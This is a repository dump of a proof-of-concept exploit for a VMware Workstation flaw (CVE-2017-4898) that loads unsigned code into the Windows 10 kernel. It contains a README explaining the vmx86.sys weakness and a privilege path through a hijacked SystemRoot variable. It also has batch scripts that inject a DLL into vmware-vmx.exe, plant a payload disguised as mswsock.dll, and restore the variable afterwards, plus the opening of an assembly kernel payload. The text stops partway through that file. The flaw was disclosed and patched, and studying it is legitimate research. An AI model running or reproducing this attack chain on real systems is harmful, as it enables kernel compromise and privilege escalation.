Repository: ivildeed/vmw_vmx_overloader
Branch: master
Commit: 68fa257c421a
Files: 28
Total size: 111.2 KB
Directory structure:
gitextract_nmml4q8r/
├── LICENSE
├── README.md
├── cmd/
│ ├── __exec_poc.cmd
│ ├── __exec_poc_simple_vmplayer.cmd
│ └── __fix_systemroot.cmd
├── dll_payload/
│ ├── dll_payload/
│ │ ├── asm64.asm
│ │ ├── dll_payload.cpp
│ │ ├── dll_payload.vcxproj
│ │ ├── dll_payload.vcxproj.filters
│ │ ├── dllmain.cpp
│ │ ├── hde/
│ │ │ ├── hde64.cpp
│ │ │ ├── hde64.h
│ │ │ └── table64.h
│ │ ├── hook.cpp
│ │ ├── hook.h
│ │ ├── stdafx.cpp
│ │ ├── stdafx.h
│ │ ├── targetver.h
│ │ ├── uhde.cpp
│ │ └── uhde.h
│ └── dll_payload.sln
└── simple_injection/
├── simple_injection/
│ ├── simple_injection.cpp
│ ├── simple_injection.vcxproj
│ ├── simple_injection.vcxproj.filters
│ ├── stdafx.cpp
│ ├── stdafx.h
│ └── targetver.h
└── simple_injection.sln
================================================
FILE CONTENTS
================================================
================================================
FILE: LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
{one line to give the program's name and a brief idea of what it does.}
Copyright (C) {year} {name of author}
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
{project} Copyright (C) {year} {fullname}
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
================================================
FILE: README.md
================================================
# vmw_vmx_overloader
Loading unsigned code into kernel of latest Windows 10 (64) with help of VMware Workstation Pro/Player design flaw.
It is well known, however in case you are not familiar - few words about workstation “hypervisor”:
It is located inside vmware-vmx.exe resources as elf executables.
Those elf’s from usermode resources are manually loaded into kernelmode using helper driver vmx86.sys.
Vmware-vmx.exe and vmx86.sys communication is performed using deviceiocontrols.
One of those controls is VMX86_RUN_VM, it is executed from “vmware-vmx:VMLoader”, vmx86.sys handler for this iocontrol invokes in kernelmode not verified functions delivered from usermode.
So by simply overwriting one function (Host64ToVmm) it is possible to execute our code in kernelmode.
(after quick check it seems that hypervisor for workstation family is loaded in the same way on macOS and linux)
(.text:0000000140007523 FF D2 call rdx)
When this call is made environment is already partially set for hypervisor creating some limitations, to bypass it in PoC there is upper function return address redirected - making payload execution much more comfortable.
For admin user injecting code to vmware-vmx.exe is as simple as: OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread (w/o elevation)
bonus:
For limited (standard) user it isn't so easy because when vmware-authd service creates vmware-vmx process it sets higher integrity level.
vmware-vmx process uses SetDefaultDllDirectories, SetSearchPathMode and SetDllDirectoryW mitigating simple dll hijacking.
However vmware-authd doesn't sanitize local environment variables when creating child vmware-vmx process, it is possible to set local variable SystemRoot pointing to controlled directory. As it turns out some of dlls dependencies will be loaded from that controlled directory (mswsock.dll is used in PoC)
VMware was contacted regarding this, as a result issues was addressed in security advisory: VMSA-2017-0003 (CVE-2017-4898)
x64 PoC testing environment:
- i7 2xxx, Windows 10 x64 (1607) HOME, VMware Workstation Full 12.5.2, VMware Workstation Player 12.5.1
- i5 6xxxU, Windows 10 x64 (insider 15002, 15025) PRO, VMware Workstation Full 12.5.2, VMware Workstation Player 12.5.1
binary:
Please keep in mind it is messy barely tested PoC so on other configuration it can potentially cause bsod, system instability or even bricking limited user account. So I don't take responsibility for any damage. You should only use it if you really know what you are doing.
*it is fast and messy PoC, therefore I've used hooks inside vmware-vmx, with proper execution chain and thread context - instead of building malicious request myself
**Quite Frankly I do understand VMware Workstation design - simply it was designed years before Microsoft thought of signing drivers. Interesting now is that MS signed that driver as since Windows 10 (1607) (fresh installations with secureboot) drivers needs to be also signed by Microsoft (Dev Portal).
Microsoft made that change to make OS supposedly more secure, when vmx86.sys loads to kernelmode code that isn't anyway validated IMO this whole security model goes out of the window(s) ;)
================================================
FILE: cmd/__exec_poc.cmd
================================================
@echo off
echo user
whoami
echo kill all vmware-vmx.exe
simple_injection.exe vmware-vmx.exe
echo remove lock files
cd dummie_vm
for /d %%G in ("%~dp0dummie_vm\*lck") do rd /s /q "%%~G"
cd ..
echo start vm
:st
vmrun.exe start "%~dp0dummie_vm\dummie_vm.vmx"
echo try simple injection
simple_injection.exe vmware-vmx.exe "%~dp0dll_payload.dll" dummie_vm
IF %ERRORLEVEL% EQU 0 (
echo injection failed, try dll hack
echo kill all vmware.exe, vmplayer.exe, vmware-vmx.exe
start simple_injection.exe vmware.exe
start simple_injection.exe vmplayer.exe
simple_injection.exe vmware-vmx.exe
echo create local systemroot
mkdir "%~dp0wnd"
mkdir "%~dp0wnd\System32"
echo copy some systemroot files in case of __fix_systemroot.cmd fail account wont get brick
copy %SystemRoot%\System32\*.dll "%~dp0wnd\System32\" > NUL
copy %SystemRoot%\System32\*.exe "%~dp0wnd\System32\" > NUL
copy %SystemRoot%\*.exe "%~dp0wnd\" > NUL
copy %SystemRoot%\*.dll "%~dp0wnd\" > NUL
del \F \Q "%~dp0wnd\System32\mswsock.dll"
copy dll_payload.dll "%~dp0wnd\System32\mswsock.dll"
echo setx SystemRoot to local
setx SystemRoot %~dp0wnd
echo start systemroot fixer
start __fix_systemroot.cmd
echo vmrun
vmrun.exe start "%~dp0dummie_vm\dummie_vm.vmx"
ping 127.0.0.1 -n 5 > nul
) ELSE (
echo reset vm to trigger
start vmrun.exe reset "%~dp0dummie_vm\dummie_vm.vmx"
echo wait 3 seconds
ping 127.0.0.1 -n 3 > nul
echo killing vmware.exe
echo killing vmplayer.exe
echo killing vmware-vmx.exe
ping 127.0.0.1 -n 0 > nul
start simple_injection.exe vmware.exe
start simple_injection.exe vmplayer.exe
simple_injection.exe vmware-vmx.exe
)
echo user
whoami
PAUSE
================================================
FILE: cmd/__exec_poc_simple_vmplayer.cmd
================================================
@echo off
echo user
whoami
echo kill all vmware-vmx.exe
simple_injection.exe vmware-vmx.exe
echo remove lock files
cd dummie_vm
for /d %%G in ("%~dp0dummie_vm\*lck") do rd /s /q "%%~G"
cd ..
echo start vm - continue after vm machine is running, vmware-vmx.exe
:vmrun.exe start "%~dp0dummie_vm\dummie_vm.vmx"
start cmd /c "start %~dp0dummie_vm\dummie_vm.vmx && EXIT"
: wait for 15 seconds
ping 127.0.0.1 -n 15 > nul
PAUSE
echo try simple injection
simple_injection.exe vmware-vmx.exe "%~dp0dll_payload.dll" dummie_vm
IF %ERRORLEVEL% EQU 0 (
echo injection failed, trying dll hack
echo kill all vmware.exe, vmplayer.exe, vmware-vmx.exe
start simple_injection.exe vmware.exe
start simple_injection.exe vmplayer.exe
simple_injection.exe vmware-vmx.exe
echo create local systemroot
mkdir "%~dp0wnd"
mkdir "%~dp0wnd\System32"
echo copy some systemroot files in case of __fix_systemroot.cmd fail account wont get brick
copy %SystemRoot%\System32\*.dll "%~dp0wnd\System32\" > NUL
copy %SystemRoot%\System32\*.exe "%~dp0wnd\System32\" > NUL
copy %SystemRoot%\*.exe "%~dp0wnd\" > NUL
copy %SystemRoot%\*.dll "%~dp0wnd\" > NUL
del \F \Q "%~dp0wnd\System32\mswsock.dll"
copy dll_payload.dll "%~dp0wnd\System32\mswsock.dll"
echo setx SystemRoot to local
setx SystemRoot %~dp0wnd
echo start systemroot fixer
start __fix_systemroot.cmd
echo starting vm - continue after vm machine is running, vmware-vmx.exe
:vmrun.exe start "%~dp0dummie_vm\dummie_vm.vmx"
start cmd /c "start %~dp0dummie_vm\dummie_vm.vmx && EXIT"
ping 127.0.0.1 -n 10 > nul
PAUSE
) ELSE (
echo please rest dummie_vm
:start vmrun.exe reset "%~dp0dummie_vm\dummie_vm.vmx"
PAUSE
echo wait 3 seconds
ping 127.0.0.1 -n 3 > nul
echo killing vmware.exe
echo killing vmplayer.exe
echo killing vmware-vmx.exe
ping 127.0.0.1 -n 0 > nul
start simple_injection.exe vmware.exe
start simple_injection.exe vmplayer.exe
simple_injection.exe vmware-vmx.exe
)
echo user
whoami
PAUSE
================================================
FILE: cmd/__fix_systemroot.cmd
================================================
@echo off
echo wait 30 seconds before fixing SystemRoot
ping 127.0.0.1 -n 30 > nul
REG delete HKCU\Environment /V SystemRoot /f
echo kill vmware.exe, vmplayer.exe, vmware-vmx.exe, vmrun.exe
start simple_injection.exe vmware.exe
start simple_injection.exe vmplayer.exe
start simple_injection.exe vmware-vmx.exe
start simple_injection.exe vmrun.exe
PAUSE
================================================
FILE: dll_payload/dll_payload/asm64.asm
================================================
.data
.code
parasite PROC
ssbase:
call overdata
dq 0 ; kernelbase ; 0
dq 0 ; ExAllocatePool ; 1
dq 0 ; MmGetSystemRoutineAddress ; 2
dq 0 ; um_code ; 3
dq 0 ; km_code ; 4
dq 0 ; um_code_size; 5
dq 0 ; um_data; 6
dq 0 ; km_data ; 7
dq 0 ; um_data_size; 8
overdata:
pop rax
call overint
nop
call ov1
dq 0
ov1:
pop rax
push rax
push rcx
;int 3
call delta
delta:
pop rcx
mov rax, offset delta
sub rcx, rax
mov rax, offset ssbase+5
add rcx, rax
mov rax, [rcx]
add [rcx+8], rax
